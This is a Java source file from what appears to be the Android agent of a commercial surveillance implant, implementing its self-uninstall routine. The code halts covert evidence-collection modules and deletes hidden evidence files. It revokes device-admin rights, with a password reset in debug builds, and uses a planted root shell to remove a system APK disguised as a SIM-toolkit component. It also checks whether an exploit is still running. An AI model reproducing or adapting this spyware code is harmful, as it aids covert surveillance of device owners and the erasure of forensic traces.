/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : UninstallAction.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.action;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import com.android.dvci.Beep;
import com.android.dvci.Core;
import com.android.dvci.Root;
import com.android.dvci.Status;
import com.android.dvci.Trigger;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfAction;
import com.android.dvci.conf.Configuration;
import com.android.dvci.evidence.EvidenceCollector;
import com.android.dvci.listener.AR;
import com.android.dvci.manager.ManagerEvent;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.util.Check;
import com.android.dvci.util.Execute;
import com.android.mm.M;
/**
* The Class UninstallAction.
*/
public class UninstallAction extends SubActionSlow {
private static final String TAG = "UninstallAction"; //$NON-NLS-1$
/**
* Instantiates a new uninstall action.
*
* @param params
* the conf params
*/
public UninstallAction(final ConfAction params) {
super(params);
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.action.SubAction#execute()
*/
@Override
public boolean execute(Trigger trigger) {
Status.uninstall = true;
return true;
}
/**
* Actual execute.
*/
public static boolean actualExecute() {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualExecute): uninstall");//$NON-NLS-1$
}
boolean ret = false;
synchronized(Status.uninstallLock) {
Status.uninstall = true;
// check Core.taskInit
Core.self().createUninstallMarkup();
if(Status.getExploitStatus()==Status.EXPLOIT_STATUS_RUNNING) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualExecute), exploit still running...you have to wait");
}
return false;
}
removeAdmin(Status.getAppContext());
ret = stopServices();
ret &= removeFiles();
ret &= deleteApplication();
if(Status.isPersistent()){
if (Cfg.DEBUG) {
Check.log(TAG + " (actualExecute), Something went wrong");
}
}
if (ret || Status.isPersistent() == false) {
ret &= removeRoot();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualExecute):failed to remove app, " + Configuration.shellFile + "removal skipped");
}
}
}
System.gc();
return ret;
}
private static boolean removeRoot() {
if (Status.haveRoot() == true) {
Process localProcess;
Execute.execute(String.format(M.e("%s blw"), Configuration.shellFile));
Execute.executeRoot(M.e("rm /system/app/StkDevice.apk"));
try {
localProcess = Runtime.getRuntime().exec(String.format(M.e("%s ru"), Configuration.shellFile));
localProcess.waitFor();
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
return false;
}
}
return true;
}
public static void removeAdmin(Context appContext) {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeAdmin) ");
}
ComponentName devAdminReceiver = new ComponentName(appContext, AR.class);
DevicePolicyManager dpm = (DevicePolicyManager) appContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
if (dpm.isAdminActive(devAdminReceiver)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeAdmin) Admin");
}
if (Cfg.DEBUG) { Check.asserts(Status.self().haveAdmin(), " (removeAdmin) Assert failed, Status doesn't know about admin"); }
if(Cfg.DEBUG){
dpm.resetPassword("", 0);
}
dpm.removeActiveAdmin(devAdminReceiver);
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeAdmin) no admin");
}
}
}
/**
* Stop agents and events
*
* @return
*/
static boolean stopServices() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stopServices)");//$NON-NLS-1$
}
ManagerModule.self().stopAll();
ManagerEvent.self().stopAll();
Status.unTriggerAll();
return true;
}
/**
* Remove markups and logs
*
* @return
*/
static boolean removeFiles() {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeFiles)");//$NON-NLS-1$
}
final int fileNum = EvidenceCollector.self().removeHidden();
if (Cfg.DEBUG) {
Check.log(TAG + " (removeFiles): " + fileNum);//$NON-NLS-1$
}
return true;
}
private static boolean deleteApplication() {
boolean ret = false;
if (Status.haveRoot()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (deleteApplication) try Root");
}
// unhide the icon
Status.setIconState(false);
ret = deleteApplicationRoot();
if(ret == false){
// disistallation failed hide again the icon
Status.setIconState(true);
}
}
if (Status.getPersistencyStatus()<= Status.PERSISTENCY_STATUS_FAILED) {
if (Cfg.DEBUG) {
Check.log(TAG + " (deleteApplication) go with intent");
}
ret = deleteApplicationIntent();
}
return ret;
}
/**
* Deletes the application
*
* @return
*/
static boolean deleteApplicationIntent() {
// Core core = Core.self();
// package:com.android.networking
final Uri packageURI = Uri.parse("package:" + Status.getAppContext().getPackageName()); //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " (deleteApplication): " + packageURI.toString());
}
//removeFiles();
final Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageURI);
uninstallIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
Status.getAppContext().startActivity(uninstallIntent);
//Utils.sleep(5000);
//Core.self().createUninstallMarkup();
return true;
}
/**
* Deletes the application
*
* @return
*/
static boolean deleteApplicationRoot() {
if (Cfg.DEMO) {
Beep.beepExit();
}
boolean ret = Root.uninstallRoot();
if (Cfg.DEMO) {
Beep.beepPenta();
}
return ret;
}
@Override
protected boolean parse(ConfAction params) {
return true;
}
}